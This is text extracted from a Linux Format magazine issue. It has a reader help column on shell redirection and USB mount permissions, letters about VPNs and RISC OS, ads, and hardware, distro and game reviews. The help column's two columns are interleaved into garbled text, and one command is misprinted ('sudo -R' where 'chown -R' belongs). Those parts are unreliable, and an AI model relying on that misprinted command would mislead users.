Linux terminal has two output streams:
standard output (stdout) and stderr. You’re The easiest way to handle mounting of USB drives is to let your desktop automounter take care of everything.
piping stdout through grep but stderr is
being sent directly to the terminal. a non-root user. I searched around, but The users option means normal users
There are various ways of dealing with nothing worked. can mount and unmount, but this is locked
this. There is a -q argument for nut- $ fdisk -l to /dev/sdb1, which could be a problem
scanner that looks like it’ll suppress this Disk /dev/sdb: 58.59 GiB, 62914560000 when using two sticks. The answer is to use
output. If it does, that’s the easiest way. bytes, 122880000 sectors either a filesystem label or the filesystems
The second option is to simply ignore Disk model: USB DISK 3.1 UUID instead of the device node:
the stderr output. It isn’t passed to grep Units: sectors of 1 * 512 = 512 bytes UUID=xxxx /mount/point auto
so your script will only process the line Sector size (logical/physical): 512 bytes / default,users 0 0
found by grep, even if the scripts passes it 512 bytes However, there are cleaner ways
to the calling terminal. The more elegant I/O size (minimum/optimal): 512 bytes / of doing this. Most desktops have an
approach is to redirect the error output to 512 bytes automounter that will take care of this. If
/dev/null. The two streams are numbered, Disklabel type: dos you’re using a terminal, either udisksctl or
1 for stdout and 2 for stderr, so you could Disk identifier: 0x00000000 pmount will handle this for you:
use one of these $ udisksctl mount -b /dev/sdb1
# nut-scanner -U 2>/dev/null | grep driver Device Boot Start End Sectors Size $ pmount sdb1
# nut-scanner -U 2>&1 | grep driver Id Type When you’re finished, flush the caches
The first sends all the error output to /dev/sdb1 2048 122879999 122877952 and unmount with the corresponding one
/dev/null, the second sends it to stdout, 58.6G 83 Linux of either $ udisksctl unmount -b /dev/sdb1
so everything can be passed through /dev/sdb1 is ext4, if that matters. or $ pumount sdb1 .
grep. Either way, you should add something I mount as root. When I try to do that
to your script to make sure that your as non-root it says that I don’t have GET HELP NOW!
nutscanner call hasn’t failed in some way. permission for it.
Awk may be a better choice than grep Charles White We’d love to try and answer any questions
because it enables you to both search for a you send to [email protected], Subscriptions: for magazine issues email [email protected]
string, like grep, and process the output.
$ nut-scanner -U 2>/dev/null | awk -F\” ‘/
A The filesystem does indeed matter.
With non-Linux filesystems,
no matter what the level. We’ve all been
stuck before, so don’t be shy. However, we’re
driver/ {print $2}’ removable devices have a pseudo- only human (although many suspect Jonni
The -F option tells awk to use “ as ownership of the user that mounted them, is a robot), so it’s important that you include
the field separator. The part between the which would be root in this case. However, as much information as you can. If
slashes is the string to search for and the because this is a Linux filesystem, the something works on one distro but not
contents of the braces is the command to ownerships and permissions are stored in another, then tell us. If you get an error
run on each line that matches the search the filesystem itself. If you’re the only user message, please tell us the exact message
string. In this case, it prints out the second wanting to access this stick, you can set and precisely what you did to invoke it.
field – the part between the first and everything on the mounted stick to be If you have, or suspect, a hardware
second quotes – which is exactly what owned by your user with problem, let us know about the hardware.
you need. You can wrap this is a command $ sudo -R youruser: /mount/point Consider installing hardinfo or lshw. These
substitution, assuming you’re doing this in If you have more than one user wanting programs list the hardware on your
a shell script, to put the driver name in to write to the stick, either give them each machine, so send us their output. If you’re
a variable all in one line: their own directory on the stick and then unwilling, or unable, to install these, run the
$ DRIVER=$(nut-scanner -Uq | awk -F\” ‘/ set the ownerships as above, or use a non- following commands in a root terminal and
driver/ {print $2}') Linux filesystem. send us the system.txt file too.
To mount the stick as a normal user you uname -a > system.txt

Q Read only flash

I bought a USB flash drive. It works
can either add an entry for it to /etc/fstab:
/dev/sdb1 /mount/point auto
lspci >> system.txt
lspci -vv >> system.txt
fine, but I can’t write to the flash drive as default,users 0 0

www.techradar.com/pro/linux July 2022 LXF290 13

Mailserver
MAILSERVER

WRITE TO US Save the earth! and disposal of consumer items. Rather than Bob
Please include a 32-bit EFI in upcoming Linux keeping a 20-year old Dell Thinkpad ticking over, which
Do you have a distributions. Cubic and UCK seem to be obsolete to is a hundred times less efficient than a modern system.
burning Linux- newer distributions. 600K of data can free up a load
related issue
that you want to
of kit that’s out there – energy-efficient stuff that Blocked pipes
can operate on 5V. Save the planet. Do your bit. I’ve used OpenVPN for years on a small device at
discuss? Write
to us at Linux Tony Thomson home. It’s great to be able to log into my home
Format, Future devices when away and also access them when on an
Publishing, Quay Neil says… unsecure Wi-Fi connection.
House, The Not meaning to be negative, but there’s a reason these Now I know this next bit is probably frowned upon
Ambury, Bath, tools don’t support 32-bit Ubuntu any more: 32-bit but hey. I’ve also used NordVPN to try and get iPlayer,
BA1 1UA or email Ubuntu doesn’t exist as such. There’s no impetus for but I’ve had mixed success with this.
lxf.letters@ desktop or server distros to support 32-bit and no Following your article in LXF286 on VPNs I set up a
futurenet.com. amount of badgering is going to change that. VPN using Linode on a UK system in London and
Just maintaining 32-bit kernel support is going to be installed OpenVPN Active Server, which went without
tricky enough, never mind an entire distro ecosystem. a hitch. I set up one user, installed OpenVPN on my
The Linux kernel has reasons for supporting 32-bit Android phone and used the generated profile. This
embedded systems, but again even the industries that worked too. However, on testing with a couple of DNS
use these are failing to provide resources to support Leak Testing tools, one showed no leak, but the other
32-bit. If you want a full read on this issue try this LWN showed leaks. Trying to play iPlayer in Firefox on my
article: https://lwn.net/Articles/838807. phone failed – “Outside UK” – so I was spotted!
I think it’s admirable to keep kit going for as long as Do you have any tips on making my VPN server
possible, and certainly we’ve covered how refurbished more likely to succeed? Should I use any particular
systems can provided computer access to people who DNS servers, firewall settings, routing or what?
otherwise would miss out. If saving the planet is your Francis
aim there are far more environmentally impactful issues
that need to be addressed, such as world-wide Neil says…
governmental policy changes on the use of fossil fuels Glad you liked the VPN article. It’s something we’ve not
really touched on before, but seems a popular topic,
although it’s hard to achieve fully as you’ve
discovered. I’m not sure “frowned upon” is quite the
right term. The BBC states clearly iPlayer can only
be watched from within the UK, unless you
download content for offline viewing.
Hard to say what the leaking is from. Possibly
IPv6 issues? Try disabling that or ensure OpenVPN
is tunnelling IPv6. Old cookies can cause issues and
if your IP doesn’t match the physical geolocation
data. WebRTC being a culprit is mentioned a lot,
though Jonni did cover how to disable this in
Firefox. Enter about:config in the address bar, and
set media.peerconnection.enabled to false.
Oddly, one of the
most recently Archimedes screw
made 32-bit
processors is
I can only imagine that Les Pounder is firmly
the Russian- stuck somewhere in the past. To update this
designed Baikal. article perhaps he should have spent more time
Helpdex

* For full terms and conditions see: www.futureplc.com/terms-conditions

14 LXF290 July 2022 www.linuxformat.com

 MAILSERVER

LETTER OF THE MONTH

Blooming great
Thanks for the random number article. There are (or were) some
very poor PRNGs around based on the ‘divide and mod’ algorithm.
ERNIE was designed by Tommy Flowers, a Post Office engineer
who specialised in the design of exchanges. He’d been sucked into
Bletchley Park, and designed and supervised the building of
Colossus, the first genuine digital electronic computer, to help
with decoding messages (called Tunny) generated by the Lorenz
SZ 40/42 machine. These messages were much harder to decode
than those created by the Enigma machine. The Lorenz device was
only used by the German High Command (unlike Enigma, which
was used by all military levels).
A remarkable fact is that Colossus ran perfectly the first time
Hopefully we’ll be taking an in-depth look at RISC OS in another issue. that it was tested. Tommy
Flowers was a great engineer
reading the excellent website www.riscosopen.org, but received – and still receives
where he would have learned that the Archimedes – little recognition.
range of computers spawned the next great RISC OS Dicky Clymo
computer known as the Acorn RiscPC. This was a
major advance on the Archimedes range from Acorn, Neil says…
and was fitted with a StrongARM processor. We’re more than happy to have
Being an Arch Linux user (Arcolinux), I run a much Tommy Flowers’ achievements
more up-to-date emulator available from the Arch mentioned here, but I think he’s
User Repository called RPCEmu. This runs happily certainly recognised for his work,
either in a window on my desktop (a Lenovo ThinkPad though there might not have
T410 Intel Core i5) or can take over the whole been a film made about him.
computer and run full screen, using the latest version
of RISC OS – namely RISC OS5. The talented Tommy Flowers himself.
The Articulator emulator is slow and bug-ridden
compared to RPCEmu, which will happily emulate a
StrongARM-equipped RiscPC running in 128 or even Neil says…
256MB of RAM. It’s good to know about RPCEmu (find out more about
Contrary to Mr Pounders’ potted history of the the emulator at www.marutan.net/rpcemu). We’ll have
Acorn stable of computers, the company went to put it through its paces in a future edition of the
on until just before the turn of the last century magazine. While I disagree with your interpretation of
producing useful and efficient desktop computers. In Les’ article – it was about the Acorn Archimedes, so
1996 it finally succumbed to the competition. detailed mentions on RISC OS and the RiscPC weren’t
However, a number of smaller enterprises continued necessarily on the cards – it’s handy to get those
the development and there are currently a number of details. I’d forgotten all about the RiscPC, from when
them still selling RISC OS computers. I used to work across from Acorn User magazine back
RISC OS was originally run on a 26-bit processor, in the mid-1990s!
although currently RISC OS 5 runs natively on 32-bit Hopefully, you’ll be glad to hear we’re planning to
ARM processors. revisit RISC OS and a host of other open source
John C McCulloch operating systems, both classic and alternative.
[email protected]

www.techradar.com/pro/linux July 2022 LXF290 15

SUBSCRIBE Save money today!

SUBSCRIBE
to Linux Format and get your

PowerKick
YOUR
GIFT!
wireless charger
WORTH
£50 t, Product features
iss ou The PowerKick wireless power bank
Don’t m e now!
subscrib delivers functionality and convenience.
Charge your devices wirelessly or via
cables (USB-A or USB-C)
Built-in kickstand enables you to keep
your device in landscape or portrait
orientation while it’s charging
Suction cups secure PowerKick to your
phone for consistent charging
10,000 mAh lithium polymer battery
Fast charging capability.

SUBSCRIBE NOW!
www.magazinesdirect.com/lin/a45k
Call 0330 333 1113 and quote A45K
16 LXF290 July 2022 www.linuxformat.com
 Save money today! SUBSCRIBE

PLUS: Exclusive access to 1

1) Only available to www.magazinesdirect.com subscribers

the Linux Format subs area!
1,000s of DRM-free
PDF back issues and
articles! Get instant
access back to issue
66 (May 2005) with
tutorials, interviews,
features and reviews.
!
DON’T MISS At linuxformat.com
ars
Includes 5 ye
r &
of Linux Use
Developer
issues
OUTSIDE
THE UK?
CHOOSE YOUR PACKAGE!
Turn to page
for more gre 67
a
subscriber t
deals!

SIX-MONTHLY SIX-MONTHLY DIGITAL EDITION

PRINT EDITION PRINT & DIGITAL EDITION

SAVE! SAVE! SAVE!

PLUS! PLUS!
1
Only 9% Only 47% Only
39%
£33.75 £46.25 £27.50
Six months of Linux Format Six months of Linux Format in both Six issues of Linux Format
in print by Direct Debit print and digital by Direct Debit in digital by Direct Debit

Terms and conditions: Offer closes 30 June, 2022. Offer open to new UK subscribers only. Pricing is guaranteed for the first 12 months and we will notify you
in advance of any price changes. Please allow up to six weeks for delivery of your first subscription issue (up to eight weeks overseas). Your gift will be delivered
separately within 60 days after your first payment has cleared. Gifts only available to subscribers on the UK mainland. Gift not available with a digital subscription.
The full subscription rate is for 12 months (13 issues) and includes postage and packaging. If the magazine ordered changes frequency per annum, we will honour
the number of issues paid for, not the term of the subscription. For full terms and conditions, visit www.magazinesdirect.com/terms. For enquiries please call
+44 (0) 330 333 1113. Lines are open Monday to Friday, 9am to 5pm UK time or email [email protected]. Calls to 0330 numbers will be charged at no
more than a national landline call, and may be included in your phone provider’s call bundle.

www.techradar.com/pro/linux July 2022 LXF290 17

REVIEWS
AMD Ryzen 7 5800X3D
Dave James contemplates what it is to be the fastest.

T
he Ryzen 7 5800X3D is
SPECS architecturally identical to the
Socket: AM4 standard Ryzen 7 5800X, using
Process: TSMC the same Zen 3 processor design, and
7nm FinFET therefore the same chiplet setup that’s
Cores: 8 made AMD’s recent generations of CPU
Threads: 16 such world-beaters. That means you’re
Clock: 3.4GHz getting the same eight core, 16-thread
(4.5GHz boost) layout in a single chiplet (so no potential
Cache: 512KB inter-chiplet latency issues), but a slightly
L1, 4MB L2, slower clock speed because of a
96MB L3 necessarily lower voltage.
Unlocked: No AMD is gambling on that lower operating
GPU: N/A frequency being a small price to pay in
Memory: terms of gaming when it comes to bumping 96MB of cache
128GB max, up the total L3 cache on offer from 32MB can store a lot
of config files.
DDR4-3200, to 96MB. How does that all fit in, you ask?
two-channels, Using a new 3D packaging technique,
ECC support the 5800X3D’s compute chiplet, the Core Complex Die The Ryzen 7 5800X3D is a drop-in upgrade for the
PCIe: v4.0 (CCD), has a new hat. It’s a hat made of a lot of cache majority of existing AMD Ryzen chipsets, and that
20 lanes which is roughly half the areal size of the chip it’s sat on makes it an easy path to improved performance for a
TDP: 105W top of, but contains twice the amount of L3 cache. good number of AMD users. The Zen 4 processors
AMD has been up front about the fact that the 3D arriving this year, on the other hand, require a new
V-Cache in the Ryzen 7 5800X3D has no impact on motherboard, DDR5 memory and possibly a new PSU.
productivity tools, marketing the chip as a specific That’s a huge plus for the AMD chip, but it still faces
gaming processor – although this is complicated on competition from within. Mostly because AMD’s Ryzen
Linux because it doesn’t appear to help Proton/Wine- 5000-series prices have dropped significantly in recent
based games, at least at the moment. Where is does months. For example, the 12-core, 24-thread Ryzen 9
offer significant increases are with machine-learning 5900X is £50 less and would suit desktop users better.
loads and why the V-Cache is employed on AMD’s EPIC That’s one of our favourite ever AMD CPUs, and its
7x73X HPC range. In general, the Ryzen 7 5800X3D gaming performance is still damned impressive. It’ll also
either essentially matches or outperforms the Ryzen 9 deliver incredible multi-threaded compute power, and
5950X. There are also a few times where the new Ryzen we’re sure it’ll still look like a great chip in a couple of
CPU outperforms the standard Core i9 12900K. years and a few CPU generations down the line.
This is a technically elegant, efficient CPU that
Power demands delivers mostly on its promises. It can’t beat Intel’s
Under full CPU load, running a x264 video encoding hulking brute of a Core i9 12900KS in the frame rate
benchmark, the Core i9 12900KS demands 77 per cent war, but it still offers the majority of AMD users an
more power than the Ryzen 7 5800X3D. Looking at the easy upgrade path and for a fraction of the price
relative power draw while gaming of the two chips, the and power demands, too.
Ryzen CPU offers much lower power draw; the Intel chip
delivers 23 per cent higher average frame rates, but
with 47 per cent higher power consumption.
VERDICT
One thing about the 5800X3D, however, is that it’s a DEVELOPER: AMD
hot chip. Admittedly the 12900KS will happily hit 101°C WEB: www.amd.com
under full core load, but at 93°C the new eight-core PRICE: £410
Ryzen CPU runs much hotter than the 16-core 5950X.
It would be easy to dismiss the Zen 3-based FEATURES 8/10 EASE OF USE 9/10
5800X3D in the face of new Zen 4 CPUs arriving before PERFORMANCE 8/10 VALUE 7/10
the end of the year, but it’s because of that this new chip
has a place. The AM4 platform is going to be effectively A technically impressive processor and a fitting epitaph for
retired once Zen 4 releases with a new LGA socket this the AM4 era of AMD’s Ryzen CPUs. It can certainly accelerate
year. But, given that five-year heritage, there are going your machine learning, if that’s what floats your boat.
to be a lot of existing AMD users sitting on an AM4
system they might want to upgrade, but don’t want to Rating 8/10
go through the process of replacing the entire setup.

www.techradar.com/pro/linux July 2022 LXF290 19

REVIEWS Linux distribution

TurnKey Linux 17.0

Lethargy and laziness often get the best of him, but sometimes
Mayank Sharma can turn the tables to his advantage.

T
urnKey Linux is a godsend
IN BRIEF for anyone who has spent
The TurnKey hours preparing a server,
Linux project cobbling together the necessary
produces a components to deploy network
set of pre- accessible software or web apps.
integrated The project produces an extensive
appliances to set of appliances that you can use
quickly deploy to roll out a new server application
all kinds of in no time.
popular open The self-contained appliances
source web pack in a fully functional instance
apps. All of a web app with just enough
appliances are components of an OS to power that
available in program. Their distro of choice is
several formats. Debian, and the latest version of The LAMP Stack includes PHP/Python/Perl support for Apache2 and MariaDB, along with
The bare metal the appliances are built around the Webmin for configuration, and Adminer for database administration.
images are latest Debian 11 Bullseye release.
available for In fact, according to the release notes, virtually all the However, for the latest release the developers have
64-bit machines changes in the latest release have been to the software decided to publish only ISO and AWS EC2 images. They
only, with powering the appliances, rendering them mostly explain that their current priority is to update all the
experimental invisible to the users of the appliances. appliances to the new version 17 platform, and between
support for the For instance, one key change is the move to Python 3 the two builds they can target a fairly large number
Raspberry Pi 4. for much of TurnKey’s build infrastructure, including of their customers. This is because the ISO can be
The memory several tools in the TKLDev appliance, which is useful for deployed across multiple platforms, and the AWS EC2
requirements of TurnKey Linux developers or for anyone interested in images deployed through TurnKey Hub are the project’s
the appliance building a TurnKey Linux system from source. primary source of revenue.
depend on the In fact, when version 17 was first announced, the The developers reckon that putting up the other
number of project launched just two appliances built on the new builds wouldn’t take much time when all appliances
users it needs base: TKLDev and Core. TurnKey Core is the base have been migrated to the version 17 platform. They
to support. operating system which all appliances are built on. also acknowledge that one of the biggest features they
It’s also used as a convenient starting point for custom had pencilled for version 17 is support for UEFI, but had
builds since it includes all the essential components to rule it out because of time constraints. They had also
and conveniences to help manage web apps. hoped to have an IPv6 APT repository for the v17.0
A couple of weeks after the initial announcement, the release, but now plan to make it available after all
project put up another 10 appliances built on the new appliances have been bumped to the new release.
version 17, including several base appliances such as In the same vein, they’ve also had to push back the
LAMPStack, LighttpdPHPFastCGIServer, node.js and plan to migrate TKLBAM to Python 3. This is because
more, which can be used to deploy all sorts of web apps. it’s an integral part of the project, and required a
In addition to upgrading the upstream software in the considerable amount of testing.
appliance, the new version 17 releases receive a slew of
bug fixes and some new user-requested features.
To this end, the new release includes a new Webmin
VERDICT
version (v1.990) and a number of changes to make the DEVELOPER: Jeremy Davis
TurnKey appliances more IPv6 friendly. For instance, the WEB: www.turnkeylinux.org
project has updated individual Webshell tunnel config to LICENCE: Various
support IPv6. It’s also updated its custom backup and
migration tool TKLBAM to ensure it supports the most FEATURES 9/10 EASE OF USE 9/10
recent version of the Internet Protocol. PERFORMANCE 9/10 DOCUMENTATION 8/10

Turn on your heel TurnKey appliances is the perfect blend of convenience and
TurnKey appliances are available in several formats customisability to appeal to all kinds of users and use cases.
depending on the hardware you want to deploy them
on. These can range from bare metal to virtual Rating 9/10
machines, and various cloud platforms.

20 LXF290 July 2022 www.linuxformat.com

 Linux distribution REVIEWS

Rolling Rhino Remix

A rolling Ubuntu release sounds so outrageous Mayank Sharma had
to see for himself if it really delivers on its word and isn’t just a gimmick.

T
he premise of Rolling Rhino
IN BRIEF Remix is simple. Replace
The distro looks Ubuntu’s stable release
like just another repositories with its development
Ubuntu clone, branch, and you’ve got a sort of a
with little visual bleeding-edge rolling release distro.
customisations. Executing the idea into a stable
However, the distro however, takes some doing.
real difference The idea came from Ubuntu
exists under the developer and former Canonical
covers. Although employee Stuart Langridge, who
it starts off as a wrote the Rolling-Rhino script to
regular Ubuntu transform an Ubuntu release
release, a into a rolling release composed
couple of of packages from Ubuntu’s
post-installation development repositories. The The distribution offers a wonderful option for anyone to track the development of the next
tasks transform Rolling Rhino Remix project then Ubuntu release without having to fiddle with the daily installation images.
it into a rolling took those scripts, and extended
release distro them with a couple of custom tools to create the distro. mode to familiarise themselves with all its options, after
that fetches Since the distro is based on packages that are being which the individual options can be toggled.
packages from developed, the developers state that Rolling Rhino In addition to these, the distro also ships with an
the Ubuntu Remix is best used by Ubuntu devs or experienced Arch User Repository (AUR)-like package manager
development Ubuntu users who prefer tracking Ubuntu’s progress – called Pacstall, which has been tweaked to integrate with
branch. even if it comes at the expense of some instability. Rolling Rhino Remix. Refer to the documentation for
using the tool to flesh out your installation with all kinds
Get rolling
SPECS
of open source and popular proprietary packages. While
The project offers an ISO image, the latest (at the time you can use snaps or flatpaks as well, we suggest you
CPU: 2GHz of writing) being 2022.05.03, which has been created install programs via Pacstall, since the distro will update
Memory: 2GB from an Ubuntu Daily Build. It identifies itself as Ubuntu them whenever you use the rhino-update script.
HDD: 25GB and has all the hallmarks of a standard Ubuntu build, Despite its rather experimental nature, the distro
Build: 64-bit except for the custom Rolling Rhino Remix wallpaper. performed well in our limited test. The only time it
only Once installed, you’re supposed to run the rhino- misbehaved was when we interrupted the rhino-
init script, which modifies the installation by altering update process, which took some CLI sorcery to fix.
the /etc/sources.list file, after which it’ll automatically While getting started with the distribution doesn’t
pull the latest updates from the devel repositories. take much effort, and is well documented, the
You wouldn’t notice much difference on the outside, developers advise new users to stay clear. However,
unless the developers have introduced a radical new the project is easy to approach and we’d encourage (do
feature or altered the appearance of the distro. However, we?!?–ED) all Ubuntu users to take it for a spin, even if
the installation is a completely different one now, and only inside a virtual machine, in order to experience this
can’t be maintained using the traditional means. This radical new approach to Ubuntu.
means for tasks such as updating the installation, you’ll
have to ditch the apt-get upgrade command and
instead use the project’s custom rhino-update script.
VERDICT
Among other things the tool will also fetch the latest DEVELOPER: MrBeeBenson and others
kernel directly from the Ubuntu mainline repository. WEB: https://rollingrhino.org
While, you don’t need to use the rhino-init script LICENCE: Various
ever again once the installation has been converted, the
developers suggest you use rhino-update weekly to FEATURES 7/10 EASE OF USE 6/10
pull all the new changes from the devel repositories. PERFORMANCE 7/10 DOCUMENTATION 7/10
The third custom script, rhino-config has just been
rewritten in Rust and enables users to tweak some If you’ve ever wondered how Ubuntu would work as a rolling
important aspects of the rhino-update script. For release distro, Rolling Rhino Remix is your best bet.
instance, you can use rhino-config to disable pulling
the mainline kernel, switch between using snaps and Rating 7/10
flatpaks. New users can use the script in the interactive

www.techradar.com/pro/linux July 2022 LXF290 21

REVIEWS Linux distribution

SysLinuxOS 11.3
Distros that take the kitchen sink approach don’t really appeal
to Mayank Sharma… until, of course, he finds one that does.

S
ysLinuxOS’s developer is
IN BRIEF a system integrator who
SysLinuxOS is wanted an all-on-one
a specialised solution to help him put a system
distro designed through its paces. To that end,
for system the distro offers a plethora of
integrators and networking tools and utilities to
system admins help system integrators evaluate
to give PCs a and assess a PC. SysLinuxOS gets
thorough its tools from Debian, and the latest
shakedown. edition of the distro is based on the
Designed by Debian 11 Bullseye release.
a system The distro is available in two
integrator, the editions. One uses the Mate
distro is full of desktop, while the other ships with
tools and the Gnome desktop. Both ISOs SysLinuxOS is a Swiss Army Knife for system integrators and system administrators, and a handy
utilities to help weigh over 4GB and are available all-in-one Live distro for anyone else.
verify that every only for 64-bit systems. You can dd
component is the ISO on to a USB to thoroughly vet a computer from of documentation. The project has a forum board, but it
working as the Live environment. That said, the distro does include is mostly a ghost town, although the developer has been
expected. The the Calamares installer to help you anchor SysLinuxOS quick to respond to the odd question posted there.
distro comes in on to a computer. Note, however, that the distro Furthermore, besides the brief introductory details that
two installable balloons to take up just under 16GB on the hard disk. are in English, the majority of the documentation, such
Live mediums: A majority of that space is taken up by all the tools as the distro’s blogs, are in Italian.
one that’s based and applications that have been squeezed into the That said, given the distro’s target audience, the lack
on the Mate distro. Being an experienced system integrator himself, of documentation shouldn’t affect take-up. The distro is
desktop, and the developer is also confident that his distro includes well put together and the tools work without a hiccup.
the other on all the tools that one requires on the job. Furthermore, Most of the included tools are well documented by their
Gnome. he claims that all the tools in the distro are pre- respective projects. The distro just brings them together
configured to work straight off the bat. in a well-integrated package.
For starters there’s all kinds of web browsers as well In our tests, SysLinuxOS performed well inside virtual
as remote desktop clients and video-conferencing machines as well as on real hardware, irrespective of
programs. The inclusion of these network tools, along whether it was running from a Live environment or
with office productivity software, makes SysLinuxOS a from the hard disk. Of course, documentation is an
wonderful option even for the average desktop user who important part of any open source project, but we’ll let
can use the distro as a fully usable Live environment. SysLinuxOS slide because it’s a specialised distro and
as such it’s designed for people in the know. Equally
One for all importantly, the distro didn’t really throw up any curve
System and network administrators would appreciate balls that forced us to refer to its official documentation
the inclusion of stalwarts such as Wireshark, Angry IP or ask for help on the forums.
Scanner, Packet Sender, Packet Tracer and more. There’s
also a serial port terminal emulator that admins can
use to configure, troubleshoot and communicate
VERDICT
with all kinds of devices with a serial interface, such as DEVELOPER: Franco Conidi
microcontrollers and routers. There are also some tools WEB: https://syslinuxos.com
for computer forensics and ethical hacking including LICENCE: Various
disk imagers, and offline and online password crackers.
In addition to these specialised tools and utilities, the FEATURES 9/10 EASE OF USE 8/10
distro also includes mainstream open source everyday PERFORMANCE 9/10 DOCUMENTATION 4/10
desktop programs such as LibreOffice, VLC and GIMP,
together with a whole gamut of Mate desktop utilities. Don’t let its lack of documentation stop you from taking the
The inclusion of these everyday utilities helps distro for a spin, especially if you’re an experienced user.
SysLinuxOS pitch itself as a daily driver for power users.
On the downside, as it is with most one-man distros, Rating 7/10
the one weak point that plagues SysLinuxOS is the lack

22 LXF290 July 2022 www.linuxformat.com

 Linux distribution REVIEWS

Q4OS 4.8
Neither a big KDE user nor a fan of Windows, and yet Mayank Sharma
can’t resist the charm of this KDE distro and its Windows installer.
any distros try to do many
IN BRIEF
A Debian-based
M things in an attempt to
appeal to a large number of
desktop distro people, but end up failing to
that ships two impress. Q4OS is a welcome
editions, one exception, in that the distro caters
for older 32-bit for three distinct sets of users.
machines, which Q4OS’ 32-bit edition, for older
uses the computers, comes with a curated
lightweight set of programs to help you get
Trinity desktop the most of your aging workhorse.
environment On the other hand, the main 64-bit
that began as a edition of the distro rocks the
fork of KDE 3.5 KDE Plasma desktop and uses
desktop. The customised tools to tune the
main 64-bit desktop for everyone from those Q4OS’ strength are its custom tools that reduce common administration tasks into a series of
edition uses new to Linux to experienced users. clicks, making them easier to new Linux users.
the latest KDE One of the unique aspects of the
Plasma desktop. distro is its Windows installer that you can use to install of the variations in the list (Synaptic for Trinity, Plasma
The current Q4OS alongside an existing Windows installation Discover for KDE), the existence of LibreOffice in the
Gemini series without worrying about things like disk partitioning. Trinity version doesn’t make sense to us, especially
is a Long Term The installer supports Windows 8, 10 and 11, and in light of better-suited options such as AbiWord.
Support release can work with SecureBoot as well. Other customisation options in the welcome
that’s supported The latest 4.8 release of the Debian-based long-term screen include the ability to install additional desktop
for five years. support distro bundles the recent Debian Bullseye 11.3 environments, including lightweight options such
update. The project offers four download images. Newer as Xfce and Budgie, as well as full-fledged ones like
64-bit machines can grab separate KDE and Trinity Cinnamon and Gnome. You can also use the welcome
SPECS images in Live and install-only options, while the 32-bit screen to change the default application launcher.
CPU: 300MHz Trinity image is available as an install-only download. In terms of documentation, the Q4OS project offers
Memory: The Live images are installable and use the distribution- ample information to help new users get started with
245MB independent Calamares installer for the purpose. their installations. In addition to the user-centric
HDD: 3GB information there’s also several pieces of administration
Build: 32- Quite a show and developer-oriented documentation for the more
and 64-bit The distro boots to a welcome screen, which is one of advanced users. If you get stuck you can take your
the specialities of the distro, and can help users flesh support queries to the fairly active forum boards.
out their installation without much effort. If you haven’t yet tried Q4OS we’d strongly
Out of the box, the default Q4OS installation is pretty encourage you to give it a shot. While the distro will
bare bones, with hardly anything except a web browser. appeal to KDE users, the Trinity edition that adheres
One of the customisation options in the welcome screen to the classic desktop makes for a useful option for
is the desktop profiler that you can use to transform running inside a virtual machine.
your installation with a single click. The profiler lists
multiple options, a couple of which will fetch and install
all kinds of desktop productivity tools, while a third will
VERDICT
install just enough components to help you build your DEVELOPER: Q4OS dev team
installation from scratch as per your requirements. WEB: https://q4os.org
Note that while the distro does enable you to view LICENCE: GPL and others
information about the packages bundled in each
profile, it doesn’t give you an estimate of the size FEATURES 8/10 EASE OF USE 8/10
of the download when installing a profile. PERFORMANCE 8/10 DOCUMENTATION 8/10
The distro also uses its own custom application
centre that you can use to install various mainstream A solid distro that offers enough conveniences to appeal to
programs. The number and type of program varies new Linux users without side-lining experienced ones.
based on the edition, with the Trinity version hosting
about a dozen, while the full-fledged KDE Plasma Rating 8/10
edition listing over 50. While we agree with some

www.techradar.com/pro/linux July 2022 LXF290 23

EXPLORE THE POSSIBILITIES THAT
LINUX HAS TO OFFER
From open-source software to coding masterclasses and Raspberry Pi
projects, get the most from your machine with this exciting array of expert
tutorials, guides and advice from the minds behind Linux Format magazine.

ON SALE
NOW

Ordering is easy. Go online at:

Or get it from selected supermarkets & newsagents

 Dungeon crawler REVIEWS

Shattered Pixel Dungeon

The only certainties in life are death, taxes and middle management,
and Neil Mohr knows which two are the least painful to deal with.
ixel Dungeon is something of
SPECS
Minimum
P a legend in mobile gaming
circles. It’s also open source,
OS: Ubuntu which means there are a bazillion
16.04 64-bit terrible copies floating around on
GPU: OpenGL Google Play. One of the few high-
2.0+ compatible quality options is Shattered Pixel
HDD: 100MB Dungeon, which has recently gained a
CPU: 64-bit polished PC port on Steam as part of
its continuous update process that’s
Recommended detailed in detail on its dev blog. Did
OS: Ubuntu we mention this is GPL v3 licenced?
20.04 64-bit Who knew you could make a
profitable open source game!
Shattered Pixel Dungeon is a game
set within dungeons portrayed in a I’ve had it with these blinking snakes, in this blinking dungeon!
pixel style. It’s a rogue-like, which means
if your character dies then their world – which is There are a myriad of dangers around every corner.
procedurally generated – is wiped and you’re sentenced They range from the mundane such as crabs and snakes
to perma-death. Just like playing the infamously difficult to the terrifying Drawven DM-2000 killing machine or
Dwarf Fortress, losing is fun! Chaos Elemental. Secrets are common, so you’ll be
After choosing one of four characters – Warrior, Mage, constantly searching for traps, doors and hidden rooms.
Rogue and Huntress – you’re dropped into a top-down, Driving you on beyond the need to explore and basic
2D dungeon ready to explore, collect and punch rats in level progression are quests, which are handed out by
their annoying noses. As is tradition, advancing means various friendly creatures you’ll encounter. These
moving down through levels of the dungeon. The stairs ultimately require you to defeat some sort of boss for
are in random places, which would cause any health (elf? major experience points, and then on the following level
– Jonni) and safety types to choke on their ambrosia. there’ll be a shop where you can buy upgrades.
You’ll fight and explore your way through five different
Helping hand dungeon types over 26 levels, but the fun doesn’t stop
On first play you’re not left to your own devices. There’s there. Once you’ve played the game all the way through
tutorial text littered throughout the initial dungeons that you’ll unlock Challenges that make it harder, such as
you can collect, which will explain different aspects of harder bosses, champion enemies (like mini bosses), less
the gameplay. It’s a great touch because it doesn’t nutritious food and other scarce objects.
overload you with information, doesn’t rely on tedious Shattered Pixel Dungeon is rewarding and challenging,
Take a break tutorial walkthroughs, and enables you to learn as you and stands up to repeat play. Extra depth is added
from murdering go. A slight downside to this approach is occasionally through eight subclasses so you can specialise your
innocent creatures
minding their own
you can pick up a tutorial just after you needed to know abilities. This version is under constant development and
business with about the thing that has reduced your hit points to zero, the developer offers regular updates with new shops,
some horticulture. but as we’re going to be dying anyway… heroes and quests all on the cards for 2022. Shame
there’s no multiplayer options… yet.

VERDICT
DEVELOPER: Shattered Pixel
WEB: https://shatteredpixel.com
PRICE: £7.12

GAMEPLAY 8/10 LONGEVITY 9/10

GRAPHICS 9/10 VALUE 9/10

This is a classic rogue-like dungeon crawler that has a near-

decade of mobile polish applied, taking it to pixel perfection.

Rating 9/10

